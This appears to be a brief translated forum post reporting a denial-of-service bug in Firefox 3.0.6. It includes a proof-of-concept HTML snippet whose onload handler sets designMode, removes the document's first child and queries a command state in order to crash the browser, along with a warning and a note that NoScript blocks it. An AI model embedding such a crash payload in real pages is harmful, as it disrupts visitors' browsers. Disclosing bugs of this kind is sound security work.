Firefox 3.0.6 is subject to a DoS attack due to incorrect processing of certain code. We are waiting for updates ...
Example: ATTENTION!!! Sample code is provided solely for informational purposes! It is forbidden to use it! <BODY onload=" document.designMode='on';//string document.removeChild(document.firstChild);//object document.queryCommandState('BackColor'); ">
PS If the habrasoobshchestvo decides that the code is still not worth it, I will remove it ')
upd: they say in the comments that everything is alive with the included NoScript